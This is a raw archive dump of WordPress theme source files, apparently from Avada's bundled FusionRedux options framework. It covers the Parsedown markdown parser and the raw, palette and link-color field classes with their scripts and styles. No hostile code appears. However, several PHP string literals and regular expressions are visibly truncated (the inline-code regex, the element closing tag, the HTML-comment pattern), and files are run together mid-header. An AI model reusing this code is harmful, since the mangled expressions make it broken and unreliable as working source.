$Line['text'][0] === '=' ? 'h1' : 'h2'; return $Block; } } # # Markup protected function blockMarkup($Line) { if ($this->markupEscaped) { return; } if (preg_match('/^<(\w*)(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*(\/)?>/', $Line['text'], $matches)) { $element = strtolower($matches[1]); if (in_array($element, $this->textLevelElements)) { return; } $Block = array( 'name' => $matches[1], 'depth' => 0, 'markup' => $Line['text'], ); $length = strlen($matches[0]); $remainder = substr($Line['text'], $length); if (trim($remainder) === '') { if (isset($matches[2]) or in_array($matches[1], $this->voidElements)) { $Block['closed'] = true; $Block['void'] = true; } } else { if (isset($matches[2]) or in_array($matches[1], $this->voidElements)) { return; } if (preg_match('/<\/'.$matches[1].'>[ ]*$/i', $remainder)) { $Block['closed'] = true; } } return $Block; } } protected function blockMarkupContinue($Line, array $Block) { if (isset($Block['closed'])) { return; } if (preg_match('/^<'.$Block['name'].'(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*>/i', $Line['text'])) # open { $Block['depth'] ++; } if (preg_match('/(.*?)<\/'.$Block['name'].'>[ ]*$/i', $Line['text'], $matches)) # close { if ($Block['depth'] > 0) { $Block['depth'] --; } else { $Block['closed'] = true; } } if (isset($Block['interrupted'])) { $Block['markup'] .= "\n"; unset($Block['interrupted']); } $Block['markup'] .= "\n".$Line['body']; return $Block; } # # Reference protected function blockReference($Line) { if (preg_match('/^\[(.+?)\]:[ ]*?(?:[ ]+["\'(](.+)["\')])?[ ]*$/', $Line['text'], $matches)) { $id = strtolower($matches[1]); $Data = array( 'url' => $matches[2], 'title' => null, ); if (isset($matches[3])) { $Data['title'] = $matches[3]; } $this->DefinitionData['Reference'][$id] = $Data; $Block = array( 'hidden' => true, ); return $Block; } } # # Table protected function blockTable($Line, array $Block = null) { if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted'])) { return; } if (strpos($Block['element']['text'], '|') !== false and chop($Line['text'], ' -:|') === '') { $alignments = array(); $divider = $Line['text']; $divider = trim($divider); $divider = trim($divider, '|'); $dividerCells = explode('|', $divider); foreach ($dividerCells as $dividerCell) { $dividerCell = trim($dividerCell); if ($dividerCell === '') { continue; } $alignment = null; if ($dividerCell[0] === ':') { $alignment = 'left'; } if (substr($dividerCell, - 1) === ':') { $alignment = $alignment === 'left' ? 'center' : 'right'; } $alignments []= $alignment; } # ~ $HeaderElements = array(); $header = $Block['element']['text']; $header = trim($header); $header = trim($header, '|'); $headerCells = explode('|', $header); foreach ($headerCells as $index => $headerCell) { $headerCell = trim($headerCell); $HeaderElement = array( 'name' => 'th', 'text' => $headerCell, 'handler' => 'line', ); if (isset($alignments[$index])) { $alignment = $alignments[$index]; $HeaderElement['attributes'] = array( 'style' => 'text-align: '.$alignment.';', ); } $HeaderElements []= $HeaderElement; } # ~ $Block = array( 'alignments' => $alignments, 'identified' => true, 'element' => array( 'name' => 'table', 'handler' => 'elements', ), ); $Block['element']['text'] []= array( 'name' => 'thead', 'handler' => 'elements', ); $Block['element']['text'] []= array( 'name' => 'tbody', 'handler' => 'elements', 'text' => array(), ); $Block['element']['text'][0]['text'] []= array( 'name' => 'tr', 'handler' => 'elements', 'text' => $HeaderElements, ); return $Block; } } protected function blockTableContinue($Line, array $Block) { if (isset($Block['interrupted'])) { return; } if ($Line['text'][0] === '|' or strpos($Line['text'], '|')) { $Elements = array(); $row = $Line['text']; $row = trim($row); $row = trim($row, '|'); preg_match_all('/(?:(\\\\[|])|[^|`]|`[^`]+`|`)+/', $row, $matches); foreach ($matches[0] as $index => $cell) { $cell = trim($cell); $Element = array( 'name' => 'td', 'handler' => 'line', 'text' => $cell, ); if (isset($Block['alignments'][$index])) { $Element['attributes'] = array( 'style' => 'text-align: '.$Block['alignments'][$index].';', ); } $Elements []= $Element; } $Element = array( 'name' => 'tr', 'handler' => 'elements', 'text' => $Elements, ); $Block['element']['text'][1]['text'] []= $Element; return $Block; } } # # ~ # protected function paragraph($Line) { $Block = array( 'element' => array( 'name' => 'p', 'text' => $Line['text'], 'handler' => 'line', ), ); return $Block; } # # Inline Elements # protected $InlineTypes = array( '"' => array('SpecialCharacter'), '!' => array('Image'), '&' => array('SpecialCharacter'), '*' => array('Emphasis'), ':' => array('Url'), '<' => array('UrlTag', 'EmailTag', 'Markup', 'SpecialCharacter'), '>' => array('SpecialCharacter'), '[' => array('Link'), '_' => array('Emphasis'), '`' => array('Code'), '~' => array('Strikethrough'), '\\' => array('EscapeSequence'), ); # ~ protected $inlineMarkerList = '!"*_&[:<>`~\\'; # # ~ # public function line($text) { $markup = ''; # $excerpt is based on the first occurrence of a marker while ($excerpt = strpbrk($text, $this->inlineMarkerList)) { $marker = $excerpt[0]; $markerPosition = strpos($text, $marker); $Excerpt = array('text' => $excerpt, 'context' => $text); foreach ($this->InlineTypes[$marker] as $inlineType) { $Inline = $this->{'inline'.$inlineType}($Excerpt); if ( ! isset($Inline)) { continue; } # makes sure that the inline belongs to "our" marker if (isset($Inline['position']) and $Inline['position'] > $markerPosition) { continue; } # sets a default inline position if ( ! isset($Inline['position'])) { $Inline['position'] = $markerPosition; } # the text that comes before the inline $unmarkedText = substr($text, 0, $Inline['position']); # compile the unmarked text $markup .= $this->unmarkedText($unmarkedText); # compile the inline $markup .= isset($Inline['markup']) ? $Inline['markup'] : $this->element($Inline['element']); # remove the examined text $text = substr($text, $Inline['position'] + $Inline['extent']); continue 2; } # the marker does not belong to an inline $unmarkedText = substr($text, 0, $markerPosition + 1); $markup .= $this->unmarkedText($unmarkedText); $text = substr($text, $markerPosition + 1); } $markup .= $this->unmarkedText($text); return $markup; } # # ~ # protected function inlineCode($Excerpt) { $marker = $Excerpt['text'][0]; if (preg_match('/^('.$marker.'+)[ ]*(.+?)[ ]*(? strlen($matches[0]), 'element' => array( 'name' => 'code', 'text' => $text, ), ); } } protected function inlineEmailTag($Excerpt) { if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<((mailto:)?\S+?@\S+?)>/i', $Excerpt['text'], $matches)) { $url = $matches[1]; if ( ! isset($matches[2])) { $url = 'mailto:' . $url; } return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'a', 'text' => $matches[1], 'attributes' => array( 'href' => $url, ), ), ); } } protected function inlineEmphasis($Excerpt) { if ( ! isset($Excerpt['text'][1])) { return; } $marker = $Excerpt['text'][0]; if ($Excerpt['text'][1] === $marker and preg_match($this->StrongRegex[$marker], $Excerpt['text'], $matches)) { $emphasis = 'strong'; } elseif (preg_match($this->EmRegex[$marker], $Excerpt['text'], $matches)) { $emphasis = 'em'; } else { return; } return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => $emphasis, 'handler' => 'line', 'text' => $matches[1], ), ); } protected function inlineEscapeSequence($Excerpt) { if (isset($Excerpt['text'][1]) and in_array($Excerpt['text'][1], $this->specialCharacters)) { return array( 'markup' => $Excerpt['text'][1], 'extent' => 2, ); } } protected function inlineImage($Excerpt) { if ( ! isset($Excerpt['text'][1]) or $Excerpt['text'][1] !== '[') { return; } $Excerpt['text']= substr($Excerpt['text'], 1); $Link = $this->inlineLink($Excerpt); if ($Link === null) { return; } $Inline = array( 'extent' => $Link['extent'] + 1, 'element' => array( 'name' => 'img', 'attributes' => array( 'src' => $Link['element']['attributes']['href'], 'alt' => $Link['element']['text'], ), ), ); $Inline['element']['attributes'] += $Link['element']['attributes']; unset($Inline['element']['attributes']['href']); return $Inline; } protected function inlineLink($Excerpt) { $Element = array( 'name' => 'a', 'handler' => 'line', 'text' => null, 'attributes' => array( 'href' => null, 'title' => null, ), ); $extent = 0; $remainder = $Excerpt['text']; if (preg_match('/\[((?:[^][]|(?R))*)\]/', $remainder, $matches)) { $Element['text'] = $matches[1]; $extent += strlen($matches[0]); $remainder = substr($remainder, $extent); } else { return; } if (preg_match('/^[(]((?:[^ ()]|[(][^ )]+[)])+)(?:[ ]+("[^"]*"|\'[^\']*\'))?[)]/', $remainder, $matches)) { $Element['attributes']['href'] = $matches[1]; if (isset($matches[2])) { $Element['attributes']['title'] = substr($matches[2], 1, - 1); } $extent += strlen($matches[0]); } else { if (preg_match('/^\s*\[(.*?)\]/', $remainder, $matches)) { $definition = strlen($matches[1]) ? $matches[1] : $Element['text']; $definition = strtolower($definition); $extent += strlen($matches[0]); } else { $definition = strtolower($Element['text']); } if ( ! isset($this->DefinitionData['Reference'][$definition])) { return; } $Definition = $this->DefinitionData['Reference'][$definition]; $Element['attributes']['href'] = $Definition['url']; $Element['attributes']['title'] = $Definition['title']; } $Element['attributes']['href'] = str_replace(array('&', '<'), array('&', '<'), $Element['attributes']['href']); return array( 'extent' => $extent, 'element' => $Element, ); } protected function inlineMarkup($Excerpt) { if ($this->markupEscaped or strpos($Excerpt['text'], '>') === false) { return; } if ($Excerpt['text'][1] === '/' and preg_match('/^<\/\w*[ ]*>/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } if ($Excerpt['text'][1] === '!' and preg_match('/^/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } if ($Excerpt['text'][1] !== ' ' and preg_match('/^<\w*(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*\/?>/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } } protected function inlineSpecialCharacter($Excerpt) { if ($Excerpt['text'][0] === '&' and ! preg_match('/^&#?\w+;/', $Excerpt['text'])) { return array( 'markup' => '&', 'extent' => 1, ); } $SpecialCharacter = array('>' => 'gt', '<' => 'lt', '"' => 'quot'); if (isset($SpecialCharacter[$Excerpt['text'][0]])) { return array( 'markup' => '&'.$SpecialCharacter[$Excerpt['text'][0]].';', 'extent' => 1, ); } } protected function inlineStrikethrough($Excerpt) { if ( ! isset($Excerpt['text'][1])) { return; } if ($Excerpt['text'][1] === '~' and preg_match('/^~~(?=\S)(.+?)(?<=\S)~~/', $Excerpt['text'], $matches)) { return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'del', 'text' => $matches[1], 'handler' => 'line', ), ); } } protected function inlineUrl($Excerpt) { if ($this->urlsLinked !== true or ! isset($Excerpt['text'][2]) or $Excerpt['text'][2] !== '/') { return; } if (preg_match('/\bhttps?:[\/]{2}[^\s<]+\b\/*/ui', $Excerpt['context'], $matches, PREG_OFFSET_CAPTURE)) { $Inline = array( 'extent' => strlen($matches[0][0]), 'position' => $matches[0][1], 'element' => array( 'name' => 'a', 'text' => $matches[0][0], 'attributes' => array( 'href' => $matches[0][0], ), ), ); return $Inline; } } protected function inlineUrlTag($Excerpt) { if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<(\w+:\/{2}[^ >]+)>/i', $Excerpt['text'], $matches)) { $url = str_replace(array('&', '<'), array('&', '<'), $matches[1]); return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'a', 'text' => $url, 'attributes' => array( 'href' => $url, ), ), ); } } # ~ protected function unmarkedText($text) { if ($this->breaksEnabled) { $text = preg_replace('/[ ]*\n/', "
    \n", $text); } else { $text = preg_replace('/(?:[ ][ ]+|[ ]*\\\\)\n/', "
    \n", $text); $text = str_replace(" \n", "\n", $text); } return $text; } # # Handlers # protected function element(array $Element) { $markup = '<'.$Element['name']; if (isset($Element['attributes'])) { foreach ($Element['attributes'] as $name => $value) { if ($value === null) { continue; } $markup .= ' '.$name.'="'.$value.'"'; } } if (isset($Element['text'])) { $markup .= '>'; if (isset($Element['handler'])) { $markup .= $this->{$Element['handler']}($Element['text']); } else { $markup .= $Element['text']; } $markup .= ''; } else { $markup .= ' />'; } return $markup; } protected function elements(array $Elements) { $markup = ''; foreach ($Elements as $Element) { $markup .= "\n" . $this->element($Element); } $markup .= "\n"; return $markup; } # ~ protected function li($lines) { $markup = $this->lines($lines); $trimmedMarkup = trim($markup); if ( ! in_array('', $lines) and substr($trimmedMarkup, 0, 3) === '

    ') { $markup = $trimmedMarkup; $markup = substr($markup, 3); $position = strpos($markup, "

    "); $markup = substr_replace($markup, '', $position, 4); } return $markup; } # # Deprecated Methods # function parse($text) { $markup = $this->text($text); return $markup; } # # Static Methods # static function instance($name = 'default') { if (isset(self::$instances[$name])) { return self::$instances[$name]; } self::$instances[$name] = new Parsedown(); return self::$instances[$name]; } private static $instances = array(); # # Fields # protected $DefinitionData; # # Read-Only protected $specialCharacters = array( '\\', '`', '*', '_', '{', '}', '[', ']', '(', ')', '>', '#', '+', '-', '.', '!', '|', ); protected $StrongRegex = array( '*' => '/^[*]{2}((?:\\\\\*|[^*]|[*][^*]*[*])+?)[*]{2}(?![*])/s', '_' => '/^__((?:\\\\_|[^_]|_[^_]*_)+?)__(?!_)/us', ); protected $EmRegex = array( '*' => '/^[*]((?:\\\\\*|[^*]|[*][*][^*]+?[*][*])+?)[*](?![*])/s', '_' => '/^_((?:\\\\_|[^_]|__[^_]*__)+?)_(?!_)\b/us', ); protected $regexHtmlAttribute = '[a-zA-Z_:][\w:.-]*(?:\s*=\s*(?:[^"\'=<>`\s]+|"[^"]*"|\'[^\']*\'))?'; protected $voidElements = array( 'area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'link', 'meta', 'param', 'source', ); protected $textLevelElements = array( 'a', 'br', 'bdo', 'abbr', 'blink', 'nextid', 'acronym', 'basefont', 'b', 'em', 'big', 'cite', 'small', 'spacer', 'listing', 'i', 'rp', 'del', 'code', 'strike', 'marquee', 'q', 'rt', 'ins', 'font', 'strong', 's', 'tt', 'sub', 'mark', 'u', 'xm', 'sup', 'nobr', 'var', 'ruby', 'wbr', 'span', 'time', ); } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/raw/field_raw.php000064400000003364152342437710024410 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function render() { if ( ! empty( $this->field['include'] ) && file_exists( $this->field['include'] ) ) { require_once wp_normalize_path( $this->field['include'] ); } if ( isset( $this->field['content_path'] ) && ! empty( $this->field['content_path'] ) && file_exists( $this->field['content_path'] ) ) { $this->field['content'] = $this->parent->filesystem->execute( 'get_contents', $this->field['content_path'] ); } if ( ! empty( $this->field['content'] ) && isset( $this->field['content'] ) ) { if ( isset( $this->field['markdown'] ) && $this->field['markdown'] == true && ! empty( $this->field['content'] ) ) { require_once wp_normalize_path( dirname( __FILE__ ) . "/parsedown.php" ); $Parsedown = new Parsedown(); echo $Parsedown->text( $this->field['content'] ); } else { echo $this->field['content']; } } do_action( 'fusionredux-field-raw-' . $this->parent->args['opt_name'] . '-' . $this->field['id'] ); } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/palette/field_palette.php000064400000006256152342437710026125 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Palette * @author Kevin Provance (kprovance) * @version 3.5.4 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'FusionReduxFramework_palette' ) ) { class FusionReduxFramework_palette { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings. * * @since 1.0.0 * @access public * @return void */ public function render() { if (empty($this->field['palettes'])) { echo 'No palettes have been set.'; return; } echo '
    '; foreach ( $this->field['palettes'] as $value => $colorSet ) { $checked = checked( $this->value , $value, false ); echo ''; echo ''; echo ''; } echo '
    '; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { $min = FusionRedux_Functions::isMin(); wp_enqueue_script( 'fusionredux-field-palette-js', FusionReduxFramework::$_url . 'inc/fields/palette/field_palette' . $min . '.js', array( 'jquery', 'fusionredux-js', 'jquery-ui-button', 'jquery-ui-core' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-palette-css', FusionReduxFramework::$_url . 'inc/fields/palette/field_palette.css', array(), time(), 'all' ); } } public function output() { } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/palette/field_palette.js000064400000003021152342437710025735 0ustar00/* Field Palette (color) */ /*global jQuery, document, fusionredux_change, fusionredux*/ (function( $ ) { 'use strict'; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.palette = fusionredux.field_objects.palette || {}; fusionredux.field_objects.palette.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-palette:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.find( '.buttonset' ).each( function() { $( this ).buttonset(); } ); // el.find('.fusionredux-palette-set').on( 'click', // function(){ // console.log($(this).val()); // } // ) } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/palette/field_palette.min.js000064400000001144152342437710026523 0ustar00!function(e){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.palette=fusionredux.field_objects.palette||{},fusionredux.field_objects.palette.init=function(i){i||(i=e(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-palette:visible")),e(i).each(function(){var i=e(this),t=i;i.hasClass("fusionredux-field-container")||(t=i.parents(".fusionredux-field-container:first")),t.is(":hidden")||t.hasClass("fusionredux-field-init")&&(t.removeClass("fusionredux-field-init"),i.find(".buttonset").each(function(){e(this).buttonset()}))})}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/palette/field_palette.css000064400000002174152342437710026121 0ustar00.fusionredux-container-palette label{border:3px solid transparent;border-color:transparent !important;border-radius:0;width:100% !important;display:block}.fusionredux-container-palette label.ui-button.ui-widget{width:95%;background:none;padding:0}.fusionredux-container-palette label.ui-button.ui-widget .ui-button-text{display:flex}.fusionredux-container-palette label.ui-button.ui-widget .ui-button-text span{padding:10px;flex-grow:1;font-size:0;line-height:10px;color:rgba(0,0,0,0);-webkit-transition:all 200ms ease-in-out;-moz-transition:all 200ms ease-in-out;-ms-transition:all 200ms ease-in-out;-o-transition:all 200ms ease-in-out;transition:all 200ms ease-in-out;text-shadow:0}.fusionredux-container-palette label.ui-button.ui-widget .ui-button-text span:hover{flex-grow:3;font-weight:bold;min-width:60px;font-size:12px;line-height:10px;color:#333;text-shadow:0 0 8px #fff,0 0 8px #fff}.fusionredux-container-palette label.ui-state-active{border:3px solid #333 !important}.wp-customizer .fusionredux-main .fusionredux-container-palette label{margin-bottom:3px}/*# sourceMappingURL=FusionReduxCore/inc/fields/palette/field_palette.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/palette/field_palette.scss000064400000003244152342437710026303 0ustar00.fusionredux-container-palette { label { border: 3px solid transparent; border-color: transparent !important; border-radius: 0; //border: 0; width: 100% !important; display: block; &.ui-button.ui-widget { width: 95%; background: none; padding: 0; .ui-button-text { /* border-top: 3px solid transparent; border-bottom: 3px solid transparent; margin-bottom: 5px;*/ display: flex; span { padding: 10px; flex-grow: 1; font-size: 0; line-height: 10px; color: rgba(0,0,0,0); -webkit-transition: all 200ms ease-in-out; -moz-transition: all 200ms ease-in-out; -ms-transition: all 200ms ease-in-out; -o-transition: all 200ms ease-in-out; transition: all 200ms ease-in-out; text-shadow: 0; &:hover { flex-grow: 3; font-weight: bold; min-width: 60px; font-size: 12px; line-height: 10px; color: #333; text-shadow: 0 0 8px #fff, 0 0 8px #fff; } } } } &.ui-state-active { border: 3px solid #333 !important; } } } .wp-customizer { .fusionredux-main .fusionredux-container-palette label { margin-bottom: 3px; } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/link_color/field_link_color.js000064400000010402152342437710027130 0ustar00/* Field Link Color */ /*global jQuery, document, fusionredux_change, fusionredux*/ (function( $ ) { 'use strict'; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.link_color = fusionredux.field_objects.link_color || {}; $( document ).ready( function() { } ); fusionredux.field_objects.link_color.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.fusionredux-container-link_color:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.find( '.fusionredux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); fusionredux_change( $( this ) ); el.find( '#' + e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( ui.color.toString() ); fusionredux_change( $( this ).parent().find( '.fusionredux-color-init' ) ); }, palettes: ['#000000', '#ffffff', '#f44336', '#E91E63', '#03A9F4', '#00BCD4', '#8BC34A', '#FFEB3B', '#FFC107', '#FF9800', '#607D8B'] } ); el.find( '.fusionredux-color' ).on( 'keyup', function() { var value = $( this ).val(); var color = colorValidate( this ); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { el.find( id + '-transparency' ).removeAttr( 'checked' ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } } ); // Replace and validate field on blur el.find( '.fusionredux-color' ).on( 'blur', function() { var value = $( this ).val(); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } el.find( id + '-transparency' ).removeAttr( 'checked' ); } } ); // Store the old valid color on keydown el.find( '.fusionredux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/link_color/field_link_color.php000064400000020227152342437710027311 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Color_Gradient * @author Luciano "WebCaos" Ubertini * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @author Kevin Provance (kprovance) - fixing everyone else's bugs. * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_link_color' ) ) { /** * Main FusionReduxFramework_link_color class * * @since 1.0.0 */ class FusionReduxFramework_link_color { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $defaults = array( 'regular' => true, 'hover' => true, 'visited' => false, 'active' => true ); $this->field = wp_parse_args( $this->field, $defaults ); $defaults = array( 'regular' => '', 'hover' => '', 'visited' => '', 'active' => '' ); $this->value = wp_parse_args( $this->value, $defaults ); // In case user passes no default values. if ( isset( $this->field['default'] ) ) { $this->field['default'] = wp_parse_args( $this->field['default'], $defaults ); } else { $this->field['default'] = $defaults; } } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( $this->field['regular'] === true && $this->field['default']['regular'] !== false ) { echo '' . __( 'Regular', 'Avada' ) . ' '; } if ( $this->field['hover'] === true && $this->field['default']['hover'] !== false ) { echo '' . __( 'Hover', 'Avada' ) . ' '; } if ( $this->field['visited'] === true && $this->field['default']['visited'] !== false ) { echo '' . __( 'Visited', 'Avada' ) . ' '; } if ( $this->field['active'] === true && $this->field['default']['active'] !== false ) { echo '' . __( 'Active', 'Avada' ) . ' '; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'fusionredux-field-link-color-js', FusionReduxFramework::$_url . 'inc/fields/link_color/field_link_color' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'fusionredux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-color-picker-css' ); wp_enqueue_style( 'fusionredux-field-link_color-js', FusionReduxFramework::$_url . 'inc/fields/link_color/field_link_color.css', array(), time(), 'all' ); } } public function output() { $style = array(); if ( ! empty( $this->value['regular'] ) && $this->field['regular'] === true && $this->field['default']['regular'] !== false ) { $style[] = 'color:' . $this->value['regular'] . ';'; } if ( ! empty( $this->value['visited'] ) && $this->field['visited'] === true && $this->field['default']['visited'] !== false ) { $style['visited'] = 'color:' . $this->value['visited'] . ';'; } if ( ! empty( $this->value['hover'] ) && $this->field['hover'] === true && $this->field['default']['hover'] !== false ) { $style['hover'] = 'color:' . $this->value['hover'] . ';'; } if ( ! empty( $this->value['active'] ) && $this->field['active'] === true && $this->field['default']['active'] !== false ) { $style['active'] = 'color:' . $this->value['active'] . ';'; } if ( ! empty( $style ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $styleString = ""; foreach ( $style as $key => $value ) { if ( is_numeric( $key ) ) { $styleString .= implode( ",", $this->field['output'] ) . "{" . $value . '}'; } else { if ( count( $this->field['output'] ) == 1 ) { if (strpos($this->field['output'][0], ',') != false) { $selector_arr = explode(',',$this->field['output'][0]); $sel_list = ''; foreach($selector_arr as $idx => $selector) { $sel_list .= $selector . ":" . $key . ","; } $sel_list = rtrim($sel_list,','); $styleString .= $sel_list . "{" . $value . '}'; } else { $styleString .= $this->field['output'][0] . ":" . $key . "{" . $value . '}'; } } else { $blah = ''; foreach($this->field['output'] as $k => $sel) { $blah .= $sel . ':' . $key . ','; } $blah = substr($blah, 0, strlen($blah) - 1); $styleString .= $blah . '{' . $value . '}'; } } } $this->parent->outputCSS .= $styleString; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $styleString = ""; foreach ( $style as $key => $value ) { if ( is_numeric( $key ) ) { $styleString .= implode( ",", $this->field['compiler'] ) . "{" . $value . '}'; } else { if ( count( $this->field['compiler'] ) == 1 ) { $styleString .= $this->field['compiler'][0] . ":" . $key . "{" . $value . '}'; } else { $blah = ''; foreach($this->field['compiler'] as $k => $sel) { $blah .= $sel . ':' . $key . ','; } $blah = substr($blah, 0, strlen($blah) - 1); $styleString .= $blah . '{' . $value . '}'; } } } $this->parent->compilerCSS .= $styleString; } } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/link_color/field_link_color.css000064400000000277152342437710027315 0ustar00.fusionredux-container-link_color .linkColor{display:inline-block;padding-right:10px;padding-bottom:7px}/*# sourceMappingURL=FusionReduxCore/inc/fields/link_color/field_link_color.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/link_color/field_link_color.scss000064400000000226152342437710027472 0ustar00.fusionredux-container-link_color { .linkColor { display: inline-block; padding-right: 10px; padding-bottom: 7px; } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/link_color/field_link_color.min.js000064400000003521152342437710027716 0ustar00!function(n){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.link_color=fusionredux.field_objects.link_color||{},n(document).ready(function(){}),fusionredux.field_objects.link_color.init=function(i){i||(i=n(document).find(".fusionredux-container-link_color:visible")),n(i).each(function(){var i=n(this),e=i;i.hasClass("fusionredux-field-container")||(e=i.parents(".fusionredux-field-container:first")),e.is(":hidden")||e.hasClass("fusionredux-field-init")&&(e.removeClass("fusionredux-field-init"),i.find(".fusionredux-color-init").wpColorPicker({change:function(e,t){n(this).val(t.color.toString()),fusionredux_change(n(this)),i.find("#"+e.target.getAttribute("data-id")+"-transparency").removeAttr("checked")},clear:function(i,e){n(this).val(e.color.toString()),fusionredux_change(n(this).parent().find(".fusionredux-color-init"))},palettes:["#000000","#ffffff","#f44336","#E91E63","#03A9F4","#00BCD4","#8BC34A","#FFEB3B","#FFC107","#FF9800","#607D8B"]}),i.find(".fusionredux-color").on("keyup",function(){var e=n(this).val(),t=colorValidate(this),r="#"+n(this).attr("id");"transparent"===e?(n(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(r+"-transparency").attr("checked","checked")):(i.find(r+"-transparency").removeAttr("checked"),t&&t!==n(this).val()&&n(this).val(t))}),i.find(".fusionredux-color").on("blur",function(){var e=n(this).val(),t="#"+n(this).attr("id");"transparent"===e?(n(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(t+"-transparency").attr("checked","checked")):(colorValidate(this)===e&&0!==e.indexOf("#")&&n(this).val(n(this).data("oldcolor")),i.find(t+"-transparency").removeAttr("checked"))}),i.find(".fusionredux-color").on("keydown",function(){n(this).data("oldkeypress",n(this).val())}))})}}(jQuery);includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_gradient/field_color_gradient.php000064400000011622152342437710030731 0ustar00Avada. * * @package FusionReduxFramework * @subpackage Field_Color_Gradient * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 